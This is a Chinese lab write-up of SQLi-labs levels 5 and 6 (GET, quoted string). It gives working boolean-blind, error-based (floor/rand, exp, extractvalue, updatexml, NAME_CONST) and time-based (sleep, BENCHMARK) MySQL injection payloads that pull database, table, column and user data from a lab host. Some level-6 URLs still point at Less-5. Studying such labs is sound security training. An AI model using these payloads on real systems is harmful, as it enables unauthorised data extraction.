Sqli-labs Less05-06 报错型sql盲注 - GET

本文记录 SQL 注入的学习过程,资料为 SQLi-labs

Sqli-labs 博客目录

报错型 sql 盲注

Less - 5: Double Injection - Single Quotes - String

  1. 利用 left(database(),1) 进行尝试

    在 URL 后面添加 ?id=1’and left(version(),1)=5–+

    http://10.10.10.137/sqli-labs/Less-5/?id=1'and left(version(),1)=5--+
    

    查看一下version(),数据库的版本号为5.6.17,这里的语句的意思是看版本号的第一位是不是5,明显的返回的结果是正确的。

    当版本号不正确的时候,则不能正确显示you are in……

    接下来看一下数据库的长度

    http://10.10.10.137/sqli-labs/Less-5/?id=1'and length(database())=8--+
    

    长度为8 时,返回正确结果,说明长度为8.

    猜测数据库第一位

    http://10.10.10.137/sqli-labs/Less-5/?id=1'and left(database(),1)>'a'--+
    

    Database()为security,所以我们看他的第一位是否 > a,很明显的是 s > a,因此返回正确。当我们不知情的情况下,可以用二分法来提高注入的效率。

    猜测数据库第二位

    得知第一位为s,我们看前两位是否大于sa

    http://10.10.10.137/sqli-labs/Less-5/?id=1'and left(database(),2)>'sa'--+
    

    得出结果 > sd ,但是在 > se 的时候出现错误,说明前两位是 se

    猜测数据库第二位

    http://10.10.10.137/sqli-labs/Less-5/?id=1'and left(database(),3)>'seb'--+
    

    得出结果 > seb ,但是在 > sec 的时候出现错误,说明前三位是 sec

  2. 利用 substr() ascii() 函数进行尝试

    ascii(substr((select table_name information_schema.tables where tables_schema=database()limit 0,1),1,1))=101
    

    根据以上得知数据库名为security,那我们利用此方式获取 security 数据库下的表。

    猜测表的第一位

    http://10.10.10.137/sqli-labs/Less-5/?id=1'and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>80--+
    

    使用substr(*,1,1),第一位的一个字符长度

    Ps:此处table_schema 可以写成=’security’,但是我们这里使用的database(),是因为此处database()就是security。此处同样的使用二分法进行测试,直到测试正确为止。此处应该是101,因为第一个表示email。

    以上在 > 100 的时候正常显示,但是在 > 101 的时候显示出错,说明这一位是 ASCII 101 对应的字母 e

    猜测表的第二位

    http://10.10.10.137/sqli-labs/Less-5/?id=1'and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),2,1))>108--+
    

    使用substr(*,2,1),第二位的一个字符长度

    以上在 > 108 的时候正常显示,但是在 > 109 的时候显示出错,说明这一位是 ASCII 109 对应的字母 m

    那如何获取第二个表呢?

    这里可以看到我们上述的语句中使用的limit 0,1. 意思就是从第0 个开始,获取第一个。那要获取第二个是不是就是limit 1,1

    http://10.10.10.137/sqli-labs/Less-5/?id=1'and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),1,1))>113--+
    

    第二个表示referers 表,第一位就是 r

    以上在 > 113 的时候正常显示,但是在 > 114 的时候显示出错,说明这一位是 ASCII 114 对应的字母 r

  3. 利用 regexp 获取(2)中 users 表中的列

    http://10.10.10.137/sqli-labs/Less-5/?id=1' and 1=(select 1 from information_schema.columns where table_name='users' and table_name regexp '^us[a-z]' limit 0,1)--+
    

    上述语句时选择 users 表中的列名是否有 us** 的列

    http://10.10.10.137/sqli-labs/Less-5/?id=1' and 1=(select 1 from information_schema.columns where table_name='users' and column_name regexp '^username' limit 0,1)--+
    

    上图中可以看到 username 存在。我们可以将 username 换成 password 等其他的项也是正确的。

  4. 利用 ord()和 mid()函数获取 users 表的内容

    http://10.10.10.137/sqli-labs/Less-5/?id=1' and ORD(MID((SELECT IFNULL(CAST(username AS CHAR),0x20)FROM security.users ORDER BY id LIMIT 0,1),1,1))=68--+
    

    获取 users 表中的内容。获取 username 中的第一行的第一个字符的 ascii,与 68 进行比较,即为 D 。而我们从表中得知第一行的数据为 Dumb。所以接下来只需要重复造轮子即可。

    总结:以上(1)(2)(3)(4)我们通过使用不同的语句,将通过布尔盲注SQL 的所有的payload 进行演示了一次。想必通过实例更能够对sql 布尔盲注语句熟悉和理解了。

  5. 使用报错注入

    http://10.10.10.137/sqli-labs/Less-5/?id=1' union Select 1,count(*),concat(0x3a,0x3a,(select user()),0x3a,0x3a,floor(rand(0)*2))a from information_schema.columns group by a--+
    

    利用 double 数值类型超出范围进行报错注入

    http://10.10.10.137/sqli-labs/Less-5/?id=1' union select (exp(~(select * FROM(SELECT USER())a))),2,3--+
    

    利用 bigint 溢出进行报错注入

    http://10.10.10.137/sqli-labs/Less-5/?id=1' union select (!(select * from (select user())x) - ~0),2,3--+
    

    利用 xpath 函数报错注入

    http://10.10.10.137/sqli-labs/Less-5/?id=1' and extractvalue(1,concat(0x7e,(select @@version),0x7e))--+
    
    http://10.10.10.137/sqli-labs/Less-5/?id=1' and updatexml(1,concat(0x7e,(select @@version),0x7e),1)--+
    

    利用数据的重复性

    http://10.10.10.137/sqli-labs/Less-5/?id=1'union select 1,2,3 from (select NAME_CONST(version(),1),NAME_CONST(version(),1))x --+
    
  6. 延时注入

    利用 sleep() 函数进行注入

    http://10.10.10.137/sqli-labs/Less-5/?id=1'and If(ascii(substr(database(),1,1))=115,1,sleep(5))--+
    

    当错误的时候会有5 秒的时间延时。
    利用BENCHMARK()进行延时注入

    http://10.10.10.137/sqli-labs/Less-5/?id=1'UNION SELECT (IF(SUBSTRING(current,1,1)=CHAR(115)*--*/,BENCHMARK(50000000,ENCODE('MSG','by 5 seconds')),null)),2,3 FROM (select database() as current) as tb1--+
    

    当结果正确的时候,运行ENCODE(‘MSG’,’by 5 seconds’)操作50000000 次,会占用一段时间。

    至此,我们已经将上述讲到的盲注的利用方法全部在 less5 中演示了一次。在后续的关卡中,将会挑一种进行演示,其他的盲注方法请参考 less5 。

Less - 6: GET - Double Injection - Double Quote - String

  1. 利用 left(database(),1) 进行尝试

    在 URL 后面添加 ?id=1”and left(version(),1)=5–+

    http://10.10.10.137/sqli-labs/Less-6/?id=1"and left(version(),1)=5--+
    

    查看一下version(),数据库的版本号为5.6.17,这里的语句的意思是看版本号的第一位是不是5,明显的返回的结果是正确的。

    当版本号不正确的时候,则不能正确显示you are in……

    接下来看一下数据库的长度

    http://10.10.10.137/sqli-labs/Less-5/?id=1"and length(database())=8--+
    

    长度为8 时,返回正确结果,说明长度为8.

    猜测数据库第一位

    http://10.10.10.137/sqli-labs/Less-5/?id=1"and left(database(),1)>'a'--+
    

    Database()为security,所以我们看他的第一位是否 > a,很明显的是 s > a,因此返回正确。当我们不知情的情况下,可以用二分法来提高注入的效率。

    猜测数据库第二位

    得知第一位为s,我们看前两位是否大于sa

    http://10.10.10.137/sqli-labs/Less-5/?id=1"and left(database(),2)>'sa'--+
    

    得出结果 > sd ,但是在 > se 的时候出现错误,说明前两位是 se

    猜测数据库第二位

    http://10.10.10.137/sqli-labs/Less-5/?id=1"and left(database(),3)>'seb'--+
    

    得出结果 > seb ,但是在 > sec 的时候出现错误,说明前三位是 sec

  2. 利用 substr() ascii() 函数进行尝试

    ascii(substr((select table_name information_schema.tables where tables_schema=database()limit 0,1),1,1))=101
    

    根据以上得知数据库名为security,那我们利用此方式获取 security 数据库下的表。

    猜测表的第一位

    http://10.10.10.137/sqli-labs/Less-5/?id=1"and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>80--
    

    使用substr(*,1,1),第一位的一个字符长度

    Ps:此处table_schema 可以写成=’security’,但是我们这里使用的database(),是因为此处database()就是security。此处同样的使用二分法进行测试,直到测试正确为止。此处应该是101,因为第一个表示email。

    以上在 > 100 的时候正常显示,但是在 > 101 的时候显示出错,说明这一位是 ASCII 101 对应的字母 e

    猜测表的第二位

    http://10.10.10.137/sqli-labs/Less-5/?id=1"and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),2,1))>108--+
    

    使用substr(*,2,1),第二位的一个字符长度

    以上在 > 108 的时候正常显示,但是在 > 109 的时候显示出错,说明这一位是 ASCII 109 对应的字母 m

    那如何获取第二个表呢?

    这里可以看到我们上述的语句中使用的limit 0,1. 意思就是从第0 个开始,获取第一个。那要获取第二个是不是就是limit 1,1

    http://10.10.10.137/sqli-labs/Less-5/?id=1"and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),1,1))>113--+
    

    第二个表示referers 表,第一位就是 r

    以上在 > 113 的时候正常显示,但是在 > 114 的时候显示出错,说明这一位是 ASCII 114 对应的字母 r

  3. 利用 regexp 获取(2)中 users 表中的列

    http://10.10.10.137/sqli-labs/Less-5/?id=1" and 1=(select 1 from information_schema.columns where table_name='users' and table_name regexp '^us[a-z]' limit 0,1)--+
    

    上述语句时选择 users 表中的列名是否有 us** 的列

    http://10.10.10.137/sqli-labs/Less-5/?id=1" and 1=(select 1 from information_schema.columns where table_name='users' and column_name regexp '^username' limit 0,1)--+
    

    上图中可以看到 username 存在。我们可以将 username 换成 password 等其他的项也是正确的。

  4. 利用 ord()和 mid()函数获取 users 表的内容

    http://10.10.10.137/sqli-labs/Less-5/?id=1" and ORD(MID((SELECT IFNULL(CAST(username AS CHAR),0x20)FROM security.users ORDER BY id LIMIT 0,1),1,1))=68--+
    

    获取 users 表中的内容。获取 username 中的第一行的第一个字符的 ascii,与 68 进行比较,即为 D 。而我们从表中得知第一行的数据为 Dumb。所以接下来只需要重复造轮子即可。

    总结:以上(1)(2)(3)(4)我们通过使用不同的语句,将通过布尔盲注SQL 的所有的payload 进行演示了一次。想必通过实例更能够对sql 布尔盲注语句熟悉和理解了。

  5. 使用报错注入

    http://10.10.10.137/sqli-labs/Less-5/?id=1" union Select 1,count(*),concat(0x3a,0x3a,(select user()),0x3a,0x3a,floor(rand(0)*2))a from information_schema.columns group by a--+
    

    利用double 数值类型超出范围进行报错注入

    http://10.10.10.137/sqli-labs/Less-5/?id=1" union select (exp(~(select * FROM(SELECT USER())a))),2,3--+
    

    利用bigint 溢出进行报错注入

    http://10.10.10.137/sqli-labs/Less-5/?id=1" union select (!(select * from (select user())x) - ~0),2,3--+
    

    xpath 函数报错注入

    http://10.10.10.137/sqli-labs/Less-5/?id=1" and extractvalue(1,concat(0x7e,(select @@version),0x7e))--+
    
    http://10.10.10.137/sqli-labs/Less-5/?id=1" and updatexml(1,concat(0x7e,(select @@version),0x7e),1)--+
    

    利用数据的重复性

    http://10.10.10.137/sqli-labs/Less-5/?id=1" union select 1,2,3 from (select NAME_CONST(version(),1),NAME_CONST(version(),1))x --+
    
  6. 延时注入

    利用 sleep() 函数进行注入

    http://10.10.10.137/sqli-labs/Less-5/?id=1" and If(ascii(substr(database(),1,1))=115,1,sleep(5))--+
    

    当错误的时候会有5 秒的时间延时。
    利用BENCHMARK()进行延时注入

    http://10.10.10.137/sqli-labs/Less-5/?id=1" UNION SELECT (IF(SUBSTRING(current,1,1)=CHAR(115),BENCHMARK(50000000,ENCODE('MSG','by 5 seconds')),null)),2,3 FROM (select database() as current) as tb1--+
    

    当结果正确的时候,运行ENCODE(‘MSG’,’by 5 seconds’)操作50000000 次,会占用一段时间。

    less5 的所有方法均适用于less6.只需要将’ 变为” 这里就不赘述了。参考 less5, 独立完成实验吧

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值